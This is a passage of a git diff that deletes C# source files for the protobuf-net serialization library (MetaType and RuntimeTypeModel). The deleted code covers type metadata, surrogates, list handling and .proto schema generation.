dealing - /// with dynamic proxies, or with interface-based APIs - /// - public Type ConstructType - { - get { return constructType; } - set - { - ThrowIfFrozen(); - constructType = value; - } - } - - private Type constructType; - - /// - /// Adds a member (by name) to the MetaType - /// - public MetaType Add(string memberName) - { - Add(GetNextFieldNumber(), memberName); - return this; - } - - private Type surrogate; - - /// - /// Performs serialization of this type via a surrogate; all - /// other serialization options are ignored and handled - /// by the surrogate's configuration. - /// - public void SetSurrogate(Type surrogateType) - { - if (surrogateType == type) surrogateType = null; - if (surrogateType != null) - { - // note that BuildSerializer checks the **CURRENT TYPE** is OK to be surrogated - if (surrogateType != null && - Helpers.IsAssignableFrom(model.MapType(typeof (IEnumerable)), surrogateType)) - { - throw new ArgumentException( - "Repeated data (a list, collection, etc) has inbuilt behaviour and cannot be used as a surrogate"); - } - } - ThrowIfFrozen(); - this.surrogate = surrogateType; - // no point in offering chaining; no options are respected - } - - internal MetaType GetSurrogateOrSelf() - { - if (surrogate != null) return model[surrogate]; - return this; - } - - internal MetaType GetSurrogateOrBaseOrSelf(bool deep) - { - if (surrogate != null) return model[surrogate]; - MetaType snapshot = this.baseType; - if (snapshot != null) - { - if (deep) - { - MetaType tmp; - do - { - tmp = snapshot; - snapshot = snapshot.baseType; - } while (snapshot != null); - return tmp; - } - return snapshot; - } - return this; - } - - private int GetNextFieldNumber() - { - int maxField = 0; - foreach (ValueMember member in fields) - { - if (member.FieldNumber > maxField) maxField = member.FieldNumber; - } - if (subTypes != null) - { - foreach (SubType subType in subTypes) - { - if (subType.FieldNumber > maxField) maxField = subType.FieldNumber; - } - } - return maxField + 1; - } - - /// - /// Adds a set of members (by name) to the MetaType - /// - public MetaType Add(params string[] memberNames) - { - if (memberNames == null) throw new ArgumentNullException("memberNames"); - int next = GetNextFieldNumber(); - for (int i = 0; i < memberNames.Length; i++) - { - Add(next++, memberNames[i]); - } - return this; - } - - - /// - /// Adds a member (by name) to the MetaType - /// - public MetaType Add(int fieldNumber, string memberName, object defaultValue) - { - AddField(fieldNumber, memberName, null, null, defaultValue); - return this; - } - - /// - /// Adds a member (by name) to the MetaType, including an itemType and defaultType for representing lists - /// - public MetaType Add(int fieldNumber, string memberName, Type itemType, Type defaultType) - { - AddField(fieldNumber, memberName, itemType, defaultType, null); - return this; - } - - /// - /// Adds a member (by name) to the MetaType, including an itemType and defaultType for representing lists, returning the ValueMember rather than the fluent API. - /// This is otherwise identical to Add. - /// - public ValueMember AddField(int fieldNumber, string memberName, Type itemType, Type defaultType) - { - return AddField(fieldNumber, memberName, itemType, defaultType, null); - } - - private ValueMember AddField(int fieldNumber, string memberName, Type itemType, Type defaultType, - object defaultValue) - { - MemberInfo mi = null; -#if WINRT - mi = Helpers.IsEnum(type) ? type.GetTypeInfo().GetDeclaredField(memberName) : Helpers.GetInstanceMember(type.GetTypeInfo(), memberName); - -#else - MemberInfo[] members = type.GetMember(memberName, - Helpers.IsEnum(type) - ? BindingFlags.Static | BindingFlags.Public - : BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic); - if (members != null && members.Length == 1) mi = members[0]; -#endif - if (mi == null) throw new ArgumentException("Unable to determine member: " + memberName, "memberName"); - - Type miType; -#if WINRT || PORTABLE - PropertyInfo pi = mi as PropertyInfo; - if (pi == null) - { - FieldInfo fi = mi as FieldInfo; - if (fi == null) - { - throw new NotSupportedException(mi.GetType().Name); - } - else - { - miType = fi.FieldType; - } - } - else - { - miType = pi.PropertyType; - } -#else - switch (mi.MemberType) - { - case MemberTypes.Field: - miType = ((FieldInfo) mi).FieldType; - break; - case MemberTypes.Property: - miType = ((PropertyInfo) mi).PropertyType; - break; - default: - throw new NotSupportedException(mi.MemberType.ToString()); - } -#endif - ResolveListTypes(model, miType, ref itemType, ref defaultType); - ValueMember newField = new ValueMember(model, type, fieldNumber, mi, miType, itemType, defaultType, - DataFormat.Default, defaultValue); - Add(newField); - return newField; - } - - internal static void ResolveListTypes(TypeModel model, Type type, ref Type itemType, ref Type defaultType) - { - if (type == null) return; - // handle arrays - if (type.IsArray) - { - if (type.GetArrayRank() != 1) - { - throw new NotSupportedException("Multi-dimension arrays are supported"); - } - itemType = type.GetElementType(); - if (itemType == model.MapType(typeof (byte))) - { - defaultType = itemType = null; - } - else - { - defaultType = type; - } - } - // handle lists - if (itemType == null) - { - itemType = TypeModel.GetListItemType(model, type); - } - - // check for nested data (not allowed) - if (itemType != null) - { - Type nestedItemType = null, nestedDefaultType = null; - ResolveListTypes(model, itemType, ref nestedItemType, ref nestedDefaultType); - if (nestedItemType != null) - { - throw TypeModel.CreateNestedListsNotSupported(); - } - } - - if (itemType != null && defaultType == null) - { -#if WINRT - TypeInfo typeInfo = type.GetTypeInfo(); - if (typeInfo.IsClass && !typeInfo.IsAbstract && Helpers.GetConstructor(typeInfo, Helpers.EmptyTypes, true) != null) -#else - if (type.IsClass && !type.IsAbstract && Helpers.GetConstructor(type, Helpers.EmptyTypes, true) != null) -#endif - { - defaultType = type; - } - if (defaultType == null) - { -#if WINRT - if (typeInfo.IsInterface) -#else - if (type.IsInterface) -#endif - { -#if NO_GENERICS - defaultType = typeof(ArrayList); -#else - Type[] genArgs; -#if WINRT - if (typeInfo.IsGenericType && type.GetGenericTypeDefinition() == typeof(System.Collections.Generic.IDictionary<,>) - && itemType == typeof(System.Collections.Generic.KeyValuePair<,>).MakeGenericType(genArgs = typeInfo.GenericTypeArguments)) -#else - if (type.IsGenericType && - type.GetGenericTypeDefinition() == - model.MapType(typeof (System.Collections.Generic.IDictionary<,>)) - && - itemType == - model.MapType(typeof (System.Collections.Generic.KeyValuePair<,>)) - .MakeGenericType(genArgs = type.GetGenericArguments())) -#endif - { - defaultType = - model.MapType(typeof (System.Collections.Generic.Dictionary<,>)) - .MakeGenericType(genArgs); - } - else - { - defaultType = - model.MapType(typeof (System.Collections.Generic.List<>)).MakeGenericType(itemType); - } -#endif - } - } - // verify that the default type is appropriate - if (defaultType != null && !Helpers.IsAssignableFrom(type, defaultType)) - { - defaultType = null; - } - } - } - - private void Add(ValueMember member) - { - int opaqueToken = 0; - try - { - model.TakeLock(ref opaqueToken); - ThrowIfFrozen(); - fields.Add(member); - } - finally - { - model.ReleaseLock(opaqueToken); - } - } - - /// - /// Returns the ValueMember that matchs a given field number, or null if not found - /// - public ValueMember this[int fieldNumber] - { - get - { - foreach (ValueMember member in fields) - { - if (member.FieldNumber == fieldNumber) return member; - } - return null; - } - } - - /// - /// Returns the ValueMember that matchs a given member (property/field), or null if not found - /// - public ValueMember this[MemberInfo member] - { - get - { - if (member == null) return null; - foreach (ValueMember x in fields) - { - if (x.Member == member) return x; - } - return null; - } - } - - private readonly BasicList fields = new BasicList(); - - /// - /// Returns the ValueMember instances associated with this type - /// - public ValueMember[] GetFields() - { - ValueMember[] arr = new ValueMember[fields.Count]; - fields.CopyTo(arr, 0); - Array.Sort(arr, ValueMember.Comparer.Default); - return arr; - } - - /// - /// Returns the SubType instances associated with this type - /// - public SubType[] GetSubtypes() - { - if (subTypes == null || subTypes.Count == 0) return new SubType[0]; - SubType[] arr = new SubType[subTypes.Count]; - subTypes.CopyTo(arr, 0); - Array.Sort(arr, SubType.Comparer.Default); - return arr; - } - -#if FEAT_COMPILER && !FX11 - - /// - /// Compiles the serializer for this type; this is *not* a full - /// standalone compile, but can significantly boost performance - /// while allowing additional types to be added. - /// - /// An in-place compile can access non-public types / members - public void CompileInPlace() - { -#if FEAT_IKVM - // just no nothing, quietely; don't want to break the API -#else - serializer = CompiledSerializer.Wrap(Serializer, model); -#endif - } -#endif - - internal bool IsDefined(int fieldNumber) - { - foreach (ValueMember field in fields) - { - if (field.FieldNumber == fieldNumber) return true; - } - return false; - } - - internal int GetKey(bool demand, bool getBaseKey) - { - return model.GetKey(type, demand, getBaseKey); - } - - - internal EnumSerializer.EnumPair[] GetEnumMap() - { - if (HasFlag(OPTIONS_EnumPassThru)) return null; - EnumSerializer.EnumPair[] result = new EnumSerializer.EnumPair[fields.Count]; - for (int i = 0; i < result.Length; i++) - { - ValueMember member = (ValueMember) fields[i]; - int wireValue = member.FieldNumber; - object value = member.GetRawEnumValue(); - result[i] = new EnumSerializer.EnumPair(wireValue, value, member.MemberType); - } - return result; - } - - - /// - /// Gets or sets a value indicating that an enum should be treated directly as an int/short/etc, rather - /// than enforcing .proto enum rules. This is useful *in particul* for [Flags] enums. - /// - public bool EnumPassthru - { - get { return HasFlag(OPTIONS_EnumPassThru); } - set { SetFlag(OPTIONS_EnumPassThru, value, true); } - } - - /// - /// Gets or sets a value indicating that this type should NOT be treated as a list, even if it has - /// familiar list-like characteristics (enumerable, add, etc) - /// - public bool IgnoreListHandling - { - get { return HasFlag(OPTIONS_IgnoreListHandling); } - set { SetFlag(OPTIONS_IgnoreListHandling, value, true); } - } - - internal bool Pending - { - get { return HasFlag(OPTIONS_Pending); } - set { SetFlag(OPTIONS_Pending, value, false); } - } - - private const byte - OPTIONS_Pending = 1, - OPTIONS_EnumPassThru = 2, - OPTIONS_Frozen = 4, - OPTIONS_PrivateOnApi = 8, - OPTIONS_SkipConstructor = 16, - OPTIONS_AsReferenceDefault = 32, - OPTIONS_AutoTuple = 64, - OPTIONS_IgnoreListHandling = 128; - - private volatile byte flags; - - private bool HasFlag(byte flag) - { - return (flags & flag) == flag; - } - - private void SetFlag(byte flag, bool value, bool throwIfFrozen) - { - if (throwIfFrozen && HasFlag(flag) != value) - { - ThrowIfFrozen(); - } - if (value) - flags |= flag; - else - flags = (byte) (flags & ~flag); - } - - internal static MetaType GetRootType(MetaType source) - { - while (source.serializer != null) - { - MetaType tmp = source.baseType; - if (tmp == null) return source; - source = tmp; // else loop until we reach something that isn't generated, or is the root - } - - // now we get into uncertain territory - RuntimeTypeModel model = source.model; - int opaqueToken = 0; - try - { - model.TakeLock(ref opaqueToken); - - MetaType tmp; - while ((tmp = source.baseType) != null) source = tmp; - return source; - } - finally - { - model.ReleaseLock(opaqueToken); - } - } - - internal bool IsPrepared() - { -#if FEAT_COMPILER && !FEAT_IKVM && !FX11 - return serializer is CompiledSerializer; - #else - return false; -#endif - } - - internal System.Collections.IEnumerable Fields - { - get { return this.fields; } - } - - internal static System.Text.StringBuilder NewLine(System.Text.StringBuilder builder, int indent) - { - return Helpers.AppendLine(builder).Append(' ', indent*3); - } - - internal bool IsAutoTuple - { - get { return HasFlag(OPTIONS_AutoTuple); } - } - - internal void WriteSchema(System.Text.StringBuilder builder, int indent, ref bool requiresBclImport) - { - if (surrogate != null) return; // nothing to write - - - ValueMember[] fieldsArr = new ValueMember[fields.Count]; - fields.CopyTo(fieldsArr, 0); - Array.Sort(fieldsArr, ValueMember.Comparer.Default); - - if (IsList) - { - string itemTypeName = model.GetSchemaTypeName(TypeModel.GetListItemType(model, type), DataFormat.Default, - false, false, ref requiresBclImport); - NewLine(builder, indent).Append("message ").Append(GetSchemaTypeName()).Append(" {"); - NewLine(builder, indent + 1).Append("repeated ").Append(itemTypeName).Append(" items = 1;"); - NewLine(builder, indent).Append('}'); - } - else if (IsAutoTuple) - { - // key-value-pair etc - MemberInfo[] mapping; - if (ResolveTupleConstructor(type, out mapping) != null) - { - NewLine(builder, indent).Append("message ").Append(GetSchemaTypeName()).Append(" {"); - for (int i = 0; i < mapping.Length; i++) - { - Type effectiveType; - if (mapping[i] is PropertyInfo) - { - effectiveType = ((PropertyInfo) mapping[i]).PropertyType; - } - else if (mapping[i] is FieldInfo) - { - effectiveType = ((FieldInfo) mapping[i]).FieldType; - } - else - { - throw new NotSupportedException("Unknown member type: " + mapping[i].GetType().Name); - } - NewLine(builder, indent + 1) - .Append("optional ") - .Append( - model.GetSchemaTypeName(effectiveType, DataFormat.Default, false, false, - ref requiresBclImport).Replace('.', '_')) - .Append(' ').Append(mapping[i].Name).Append(" = ").Append(i + 1).Append(';'); - } - NewLine(builder, indent).Append('}'); - } - } - else if (Helpers.IsEnum(type)) - { - NewLine(builder, indent).Append("enum ").Append(GetSchemaTypeName()).Append(" {"); - if (fieldsArr.Length == 0 && EnumPassthru) - { - if (type -#if WINRT - .GetTypeInfo() -#endif - .IsDefined(model.MapType(typeof (FlagsAttribute)), false)) - { - NewLine(builder, indent + 1).Append("// this is a composite/flags enumeration"); - } - else - { - NewLine(builder, indent + 1).Append("// this enumeration will be passed as a raw value"); - } - foreach (FieldInfo field in -#if WINRT - type.GetRuntimeFields() -#else - type.GetFields() -#endif - ) - { - if (field.IsStatic && field.IsLiteral) - { - object enumVal; -#if WINRT || PORTABLE || CF || FX11 - enumVal = field.GetValue(null); -#else - enumVal = field.GetRawConstantValue(); -#endif - NewLine(builder, indent + 1).Append(field.Name).Append(" = ").Append(enumVal).Append(";"); - } - } - } - else - { - foreach (ValueMember member in fieldsArr) - { - NewLine(builder, indent + 1) - .Append(member.Name) - .Append(" = ") - .Append(member.FieldNumber) - .Append(';'); - } - } - NewLine(builder, indent).Append('}'); - } - else - { - NewLine(builder, indent).Append("message ").Append(GetSchemaTypeName()).Append(" {"); - foreach (ValueMember member in fieldsArr) - { - string ordinality = member.ItemType != null - ? "repeated" - : member.IsRequired ? "required" : "optional"; - NewLine(builder, indent + 1).Append(ordinality).Append(' '); - if (member.DataFormat == DataFormat.Group) builder.Append("group "); - string schemaTypeName = member.GetSchemaTypeName(true, ref requiresBclImport); - builder.Append(schemaTypeName).Append(" ") - .Append(member.Name).Append(" = ").Append(member.FieldNumber); - if (member.DefaultValue != null) - { - if (member.DefaultValue is string) - { - builder.Append(" [default = \"").Append(member.DefaultValue).Append("\"]"); - } - else if (member.DefaultValue is bool) - { - // need to be lower case (issue 304) - builder.Append((bool) member.DefaultValue ? " [default = true]" : " [default = false]"); - } - else - { - builder.Append(" [default = ").Append(member.DefaultValue).Append(']'); - } - } - if (member.ItemType != null && member.IsPacked) - { - builder.Append(" [packed=true]"); - } - builder.Append(';'); - if (schemaTypeName == "bcl.NetObjectProxy" && member.AsReference && !member.DynamicType) - // we know what it is; tell the user - { - builder.Append(" // reference-tracked ") - .Append(member.GetSchemaTypeName(false, ref requiresBclImport)); - } - } - if (subTypes != null && subTypes.Count != 0) - { - NewLine(builder, indent + 1) - .Append("// the following represent sub-types; at most 1 should have a value"); - SubType[] subTypeArr = new SubType[subTypes.Count]; - subTypes.CopyTo(subTypeArr, 0); - Array.Sort(subTypeArr, SubType.Comparer.Default); - foreach (SubType subType in subTypeArr) - { - string subTypeName = subType.DerivedType.GetSchemaTypeName(); - NewLine(builder, indent + 1).Append("optional ").Append(subTypeName) - .Append(" ").Append(subTypeName).Append(" = ").Append(subType.FieldNumber).Append(';'); - } - } - NewLine(builder, indent).Append('}'); - } - } - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Meta/RuntimeTypeModel.cs b/Client/Core/ProtoBuf/Meta/RuntimeTypeModel.cs deleted file mode 100644 index d183e9e5..00000000 --- a/Client/Core/ProtoBuf/Meta/RuntimeTypeModel.cs +++ /dev/null @@ -1,2129 +0,0 @@ -#if !NO_RUNTIME -using System; -using System.Collections; -using System.Text; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -using IKVM.Reflection.Emit; -#else -using System.Reflection; -#if FEAT_COMPILER -using System.Reflection.Emit; -#endif -#endif -using ProtoBuf.Serializers; -using System.Threading; -using System.IO; - - -namespace ProtoBuf.Meta -{ - /// - /// Provides protobuf serialization support for a number of types that can be defined at runtime - /// - public sealed class RuntimeTypeModel : TypeModel - { - private byte options; - - private const byte - OPTIONS_InferTagFromNameDefault = 1, - OPTIONS_IsDefaultModel = 2, - OPTIONS_Frozen = 4, - OPTIONS_AutoAddMissingTypes = 8, -#if FEAT_COMPILER && !FX11 - OPTIONS_AutoCompile = 16, -#endif - OPTIONS_UseImplicitZeroDefaults = 32, - OPTIONS_AllowParseableTypes = 64, - OPTIONS_AutoAddProtoContractTypesOnly = 128; - - private bool GetOption(byte option) - { - return (options & option) == option; - } - - private void SetOption(byte option, bool value) - { - if (value) options |= option; - else options &= (byte) ~option; - } - - /// - /// Global default that - /// enables/disables automatic tag generation based on the existing name / order - /// of the defined members. See - /// for usage and important warning / explanation. - /// You must set the global default before attempting to serialize/deserialize any - /// impacted type. - /// - public bool InferTagFromNameDefault - { - get { return GetOption(OPTIONS_InferTagFromNameDefault); } - set { SetOption(OPTIONS_InferTagFromNameDefault, value); } - } - - /// - /// Global default that determines whether types are considered serializable - /// if they have [DataContract] / [XmlType]. With this enabled, ONLY - /// types marked as [ProtoContract] are added automatically. - /// - public bool AutoAddProtoContractTypesOnly - { - get { return GetOption(OPTIONS_AutoAddProtoContractTypesOnly); } - set { SetOption(OPTIONS_AutoAddProtoContractTypesOnly, value); } - } - - /// - /// Global switch that enables or disables the implicit - /// handling of "zero defaults"; meanning: if no other default is specified, - /// it assumes bools always default to false, integers to zero, etc. - /// - /// If this is disabled, no such assumptions are made and only *explicit* - /// default values are processed. This is enabled by default to - /// preserve similar logic to v1. - /// - public bool UseImplicitZeroDefaults - { - get { return GetOption(OPTIONS_UseImplicitZeroDefaults); } - set - { - if (!value && GetOption(OPTIONS_IsDefaultModel)) - { - throw new InvalidOperationException( - "UseImplicitZeroDefaults cannot be disabled on the default model"); - } - SetOption(OPTIONS_UseImplicitZeroDefaults, value); - } - } - - /// - /// Global switch that determines whether types with a .ToString() and a Parse(string) - /// should be serialized as strings. - /// - public bool AllowParseableTypes - { - get { return GetOption(OPTIONS_AllowParseableTypes); } - set { SetOption(OPTIONS_AllowParseableTypes, value); } - } - - - private sealed class Singleton - { - private Singleton() - { - } - - internal static readonly RuntimeTypeModel Value = new RuntimeTypeModel(true); - } - - /// - /// The default model, used to support ProtoBuf.Serializer - /// - public static RuntimeTypeModel Default - { - get { return Singleton.Value; } - } - - /// - /// Returns a sequence of the Type instances that can be - /// processed by this model. - /// - public IEnumerable GetTypes() - { - return types; - } - - /// - /// Suggest a .proto definition for the given type - /// - /// The type to generate a .proto definition for, or null to generate a .proto that represents the entire model - /// The .proto definition as a string - public override string GetSchema(Type type) - { - BasicList requiredTypes = new BasicList(); - MetaType primaryType = null; - bool isInbuiltType = false; - if (type == null) - { - // generate for the entire model - foreach (MetaType meta in types) - { - MetaType tmp = meta.GetSurrogateOrBaseOrSelf(false); - if (!requiredTypes.Contains(tmp)) - { - // ^^^ note that the type might have been added as a descendent - requiredTypes.Add(tmp); - CascadeDependents(requiredTypes, tmp); - } - } - } - else - { - Type tmp = Helpers.GetUnderlyingType(type); - if (tmp != null) type = tmp; - - WireType defaultWireType; - isInbuiltType = - (ValueMember.TryGetCoreSerializer(this, DataFormat.Default, type, out defaultWireType, false, false, - false, false) != null); - if (!isInbuiltType) - { - //Agenerate just relative to the supplied type - int index = FindOrAddAuto(type, false, false, false); - if (index < 0) throw new ArgumentException("The type specified is not a contract-type", "type"); - - // get the required types - primaryType = ((MetaType) types[index]).GetSurrogateOrBaseOrSelf(false); - requiredTypes.Add(primaryType); - CascadeDependents(requiredTypes, primaryType); - } - } - - // use the provided type's namespace for the "package" - StringBuilder headerBuilder = new StringBuilder(); - string package = null; - - if (!isInbuiltType) - { - IEnumerable typesForNamespace = primaryType == null ? types : requiredTypes; - foreach (MetaType meta in typesForNamespace) - { - if (meta.IsList) continue; - string tmp = meta.Type.Namespace; - if (!Helpers.IsNullOrEmpty(tmp)) - { - if (tmp.StartsWith("System.")) continue; - if (package == null) - { - // haven't seen any suggestions yet - package = tmp; - } - else if (package == tmp) - { - // that's fine; a repeat of the one we already saw - } - else - { - // something else; have confliucting suggestions; abort - package = null; - break; - } - } - } - } - - if (!Helpers.IsNullOrEmpty(package)) - { - headerBuilder.Append("package ").Append(package).Append(';'); - Helpers.AppendLine(headerBuilder); - } - - bool requiresBclImport = false; - StringBuilder bodyBuilder = new StringBuilder(); - // sort them by schema-name - MetaType[] metaTypesArr = new MetaType[requiredTypes.Count]; - requiredTypes.CopyTo(metaTypesArr, 0); - Array.Sort(metaTypesArr, MetaType.Comparer.Default); - - // write the messages - if (isInbuiltType) - { - Helpers.AppendLine(bodyBuilder).Append("message ").Append(type.Name).Append(" {"); - MetaType.NewLine(bodyBuilder, 1) - .Append("optional ") - .Append(GetSchemaTypeName(type, DataFormat.Default, false, false, ref requiresBclImport)) - .Append(" value = 1;"); - Helpers.AppendLine(bodyBuilder).Append('}'); - } - else - { - for (int i = 0; i < metaTypesArr.Length; i++) - { - MetaType tmp = metaTypesArr[i]; - if (tmp.IsList && tmp != primaryType) continue; - tmp.WriteSchema(bodyBuilder, 0, ref requiresBclImport); - } - } - if (requiresBclImport) - { - headerBuilder.Append("import \"bcl.proto\"; // schema for protobuf-net's handling of core .NET types"); - Helpers.AppendLine(headerBuilder); - } - return Helpers.AppendLine(headerBuilder.Append(bodyBuilder)).ToString(); - } - - private void CascadeDependents(BasicList list, MetaType metaType) - { - MetaType tmp; - if (metaType.IsList) - { - Type itemType = TypeModel.GetListItemType(this, metaType.Type); - WireType defaultWireType; - IProtoSerializer coreSerializer = ValueMember.TryGetCoreSerializer(this, DataFormat.Default, itemType, - out defaultWireType, false, false, false, false); - if (coreSerializer == null) - { - int index = FindOrAddAuto(itemType, false, false, false); - if (index >= 0) - { - tmp = ((MetaType) types[index]).GetSurrogateOrBaseOrSelf(false); - if (!list.Contains(tmp)) - { - // could perhaps also implement as a queue, but this should work OK for sane models - list.Add(tmp); - CascadeDependents(list, tmp); - } - } - } - } - else - { - if (metaType.IsAutoTuple) - { - MemberInfo[] mapping; - if (MetaType.ResolveTupleConstructor(metaType.Type, out mapping) != null) - { - for (int i = 0; i < mapping.Length; i++) - { - Type type = null; - if (mapping[i] is PropertyInfo) type = ((PropertyInfo) mapping[i]).PropertyType; - else if (mapping[i] is FieldInfo) type = ((FieldInfo) mapping[i]).FieldType; - - WireType defaultWireType; - IProtoSerializer coreSerializer = ValueMember.TryGetCoreSerializer(this, DataFormat.Default, - type, out defaultWireType, false, false, false, false); - if (coreSerializer == null) - { - int index = FindOrAddAuto(type, false, false, false); - if (index >= 0) - { - tmp = ((MetaType) types[index]).GetSurrogateOrBaseOrSelf(false); - if (!list.Contains(tmp)) - { - // could perhaps also implement as a queue, but this should work OK for sane models - list.Add(tmp); - CascadeDependents(list, tmp); - } - } - } - } - } - } - else - { - foreach (ValueMember member in metaType.Fields) - { - Type type = member.ItemType; - if (type == null) type = member.MemberType; - WireType defaultWireType; - IProtoSerializer coreSerializer = ValueMember.TryGetCoreSerializer(this, DataFormat.Default, - type, out defaultWireType, false, false, false, false); - if (coreSerializer == null) - { - // is an interesting type - int index = FindOrAddAuto(type, false, false, false); - if (index >= 0) - { - tmp = ((MetaType) types[index]).GetSurrogateOrBaseOrSelf(false); - if (!list.Contains(tmp)) - { - // could perhaps also implement as a queue, but this should work OK for sane models - list.Add(tmp); - CascadeDependents(list, tmp); - } - } - } - } - } - if (metaType.HasSubtypes) - { - foreach (SubType subType in metaType.GetSubtypes()) - { - tmp = subType.DerivedType.GetSurrogateOrSelf(); // note: exclude base-types! - if (!list.Contains(tmp)) - { - list.Add(tmp); - CascadeDependents(list, tmp); - } - } - } - tmp = metaType.BaseType; - if (tmp != null) tmp = tmp.GetSurrogateOrSelf(); // note: already walking base-types; exclude base - if (tmp != null && !list.Contains(tmp)) - { - list.Add(tmp); - CascadeDependents(list, tmp); - } - } - } - - - internal RuntimeTypeModel(bool isDefault) - { -#if FEAT_IKVM - universe = new IKVM.Reflection.Universe(); - universe.EnableMissingMemberResolution(); // needed to avoid TypedReference issue on WinRT -#endif - AutoAddMissingTypes = true; - UseImplicitZeroDefaults = true; - SetOption(OPTIONS_IsDefaultModel, isDefault); -#if FEAT_COMPILER && !FX11 && !DEBUG - AutoCompile = true; -#endif - } - -#if FEAT_IKVM - readonly IKVM.Reflection.Universe universe; - /// - /// Load an assembly into the model's universe - /// - public Assembly Load(string path) - { - return universe.LoadFile(path); - } - /// - /// Gets the IKVM Universe that relates to this model - /// - public Universe Universe { get { return universe; } } - - /// - /// Adds support for an additional type in this model, optionally - /// appplying inbuilt patterns. If the type is already known to the - /// model, the existing type is returned **without** applying - /// any additional behaviour. - /// - public MetaType Add(string assemblyQualifiedTypeName, bool applyDefaults) - { - Type type = universe.GetType(assemblyQualifiedTypeName, true); - return Add(type, applyDefaults); - } - /// - /// Adds support for an additional type in this model, optionally - /// appplying inbuilt patterns. If the type is already known to the - /// model, the existing type is returned **without** applying - /// any additional behaviour. - /// - public MetaType Add(System.Type type, bool applyDefaultBehaviour) - { - return Add(MapType(type), applyDefaultBehaviour); - } - /// - /// Obtains the MetaType associated with a given Type for the current model, - /// allowing additional configuration. - /// - public MetaType this[System.Type type] { get { return this[MapType(type)]; } } - -#endif - - /// - /// Obtains the MetaType associated with a given Type for the current model, - /// allowing additional configuration. - /// - public MetaType this[Type type] - { - get { return (MetaType) types[FindOrAddAuto(type, true, false, false)]; } - } - - internal MetaType FindWithoutAdd(Type type) - { - // this list is thread-safe for reading - foreach (MetaType metaType in types) - { - if (metaType.Type == type) - { - if (metaType.Pending) WaitOnLock(metaType); - return metaType; - } - } - // if that failed, check for a proxy - Type underlyingType = ResolveProxies(type); - return underlyingType == null ? null : FindWithoutAdd(underlyingType); - } - - private static readonly BasicList.MatchPredicate - MetaTypeFinder = new BasicList.MatchPredicate(MetaTypeFinderImpl), - BasicTypeFinder = new BasicList.MatchPredicate(BasicTypeFinderImpl); - - private static bool MetaTypeFinderImpl(object value, object ctx) - { - return ((MetaType) value).Type == (Type) ctx; - } - - private static bool BasicTypeFinderImpl(object value, object ctx) - { - return ((BasicType) value).Type == (Type) ctx; - } - - private void WaitOnLock(MetaType type) - { - int opaqueToken = 0; - try - { - TakeLock(ref opaqueToken); - } - finally - { - ReleaseLock(opaqueToken); - } - } - - private BasicList basicTypes = new BasicList(); - - private sealed class BasicType - { - private readonly Type type; - - public Type Type - { - get { return type; } - } - - private readonly IProtoSerializer serializer; - - public IProtoSerializer Serializer - { - get { return serializer; } - } - - public BasicType(Type type, IProtoSerializer serializer) - { - this.type = type; - this.serializer = serializer; - } - } - - internal IProtoSerializer TryGetBasicTypeSerializer(Type type) - { - int idx = basicTypes.IndexOf(BasicTypeFinder, type); - - if (idx >= 0) return ((BasicType) basicTypes[idx]).Serializer; - - lock (basicTypes) - { - // don't need a full model lock for this - - // double-checked - idx = basicTypes.IndexOf(BasicTypeFinder, type); - if (idx >= 0) return ((BasicType) basicTypes[idx]).Serializer; - - WireType defaultWireType; - MetaType.AttributeFamily family = MetaType.GetContractFamily(this, type, null); - IProtoSerializer ser = family == MetaType.AttributeFamily.None - ? ValueMember.TryGetCoreSerializer(this, DataFormat.Default, type, out defaultWireType, false, false, - false, false) - : null; - - if (ser != null) basicTypes.Add(new BasicType(type, ser)); - return ser; - } - } - - internal int FindOrAddAuto(Type type, bool demand, bool addWithContractOnly, bool addEvenIfAutoDisabled) - { - int key = types.IndexOf(MetaTypeFinder, type); - MetaType metaType; - - // the fast happy path: meta-types we've already seen - if (key >= 0) - { - metaType = (MetaType) types[key]; - if (metaType.Pending) - { - WaitOnLock(metaType); - } - return key; - } - - // the fast fail path: types that will never have a meta-type - bool shouldAdd = AutoAddMissingTypes || addEvenIfAutoDisabled; - - if (!Helpers.IsEnum(type) && TryGetBasicTypeSerializer(type) != null) - { - if (shouldAdd && !addWithContractOnly) throw MetaType.InbuiltType(type); - return -1; // this will never be a meta-type - } - - // otherwise: we don't yet know - - // check for proxy types - Type underlyingType = ResolveProxies(type); - if (underlyingType != null) - { - key = types.IndexOf(MetaTypeFinder, underlyingType); - type = underlyingType; // if new added, make it reflect the underlying type - } - - if (key < 0) - { - int opaqueToken = 0; - try - { - TakeLock(ref opaqueToken); - // try to recognise a few familiar patterns... - if ((metaType = RecogniseCommonTypes(type)) == null) - { - // otherwise, check if it is a contract - MetaType.AttributeFamily family = MetaType.GetContractFamily(this, type, null); - if (family == MetaType.AttributeFamily.AutoTuple) - { - shouldAdd = addEvenIfAutoDisabled = true; // always add basic tuples, such as KeyValuePair - } - - if (!shouldAdd || ( - !Helpers.IsEnum(type) && addWithContractOnly && family == MetaType.AttributeFamily.None) - ) - { - if (demand) ThrowUnexpectedType(type); - return key; - } - metaType = Create(type); - } - metaType.Pending = true; - bool weAdded = false; - - // double-checked - int winner = types.IndexOf(MetaTypeFinder, type); - if (winner < 0) - { - ThrowIfFrozen(); - key = types.Add(metaType); - weAdded = true; - } - else - { - key = winner; - } - if (weAdded) - { - metaType.ApplyDefaultBehaviour(); - metaType.Pending = false; - } - } - finally - { - ReleaseLock(opaqueToken); - } - } - return key; - } - - private MetaType RecogniseCommonTypes(Type type) - { -//#if !NO_GENERICS -// if (type.IsGenericType && type.GetGenericTypeDefinition() == typeof(System.Collections.Generic.KeyValuePair<,>)) -// { -// MetaType mt = new MetaType(this, type); - -// Type surrogate = typeof (KeyValuePairSurrogate<,>).MakeGenericType(type.GetGenericArguments()); - -// mt.SetSurrogate(surrogate); -// mt.IncludeSerializerMethod = false; -// mt.Freeze(); - -// MetaType surrogateMeta = (MetaType)types[FindOrAddAuto(surrogate, true, true, true)]; // this forcibly adds it if needed -// if(surrogateMeta.IncludeSerializerMethod) -// { // don't blindly set - it might be frozen -// surrogateMeta.IncludeSerializerMethod = false; -// } -// surrogateMeta.Freeze(); -// return mt; -// } -//#endif - return null; - } - - private MetaType Create(Type type) - { - ThrowIfFrozen(); - return new MetaType(this, type, defaultFactory); - } - - /// - /// Adds support for an additional type in this model, optionally - /// appplying inbuilt patterns. If the type is already known to the - /// model, the existing type is returned **without** applying - /// any additional behaviour. - /// - /// Inbuilt patterns include: - /// [ProtoContract]/[ProtoMember(n)] - /// [DataContract]/[DataMember(Order=n)] - /// 